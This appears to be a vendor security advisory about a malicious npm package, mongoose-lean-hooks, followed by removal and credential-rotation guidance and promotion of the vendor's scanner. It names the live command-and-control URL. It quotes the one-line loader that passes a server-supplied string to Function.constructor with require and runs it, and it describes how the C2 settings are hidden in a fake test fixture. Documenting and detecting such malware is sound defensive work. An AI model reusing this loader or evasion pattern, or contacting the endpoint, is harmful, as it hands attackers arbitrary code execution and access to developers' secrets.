mongoose-lean-hooksnpm
mongoose-lean-hooks is a confirmed malicious npm package (MAL-2026-6797) that steals credentials and exfiltrates sensitive data (malicious versions 0.5.2, 0.5.3, 0.5.4…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in mongoose-lean-hooks (npm)
What this malware does
On require('mongoose-lean-hooks'), the package's main entry (index.js) runs a top-level async IIFE that issues an HTTP GET to http://mongos-hooks-api.vercel.app/defy/v3 with a bearer-style header. When the response is a 404 carrying a token string field, that server-controlled string is passed to Function.constructor with require bound in and immediately invoked (const handler = new (Function.constructor)("require", res.token); handler(require);), yielding arbitrary code execution in the consumer's Node process with full require access. The endpoint, path, and header token are hidden in test/config_test.js under a module.exports shaped like a benign test fixture and imported by the production entry — a deliberate evasion to make reviewers skim past the C2 configuration as test scaffolding. The package name and description mimic the legitimate mongoose plugin ecosystem (advertising createdAt/updatedAt timestamp functionality) to encourage installs. The plaintext HTTP destination and dynamic-payload design mean the attacker can change the delivered code at any time without republishing.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for mongoose-lean-hooks (6 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging mongoose-lean-hooks across your stack and pipelines.
If you installed it — respond
mongoose-lean-hooks is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If mongoose-lean-hooks was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks mongoose-lean-hooks before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks mongoose-lean-hooks-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.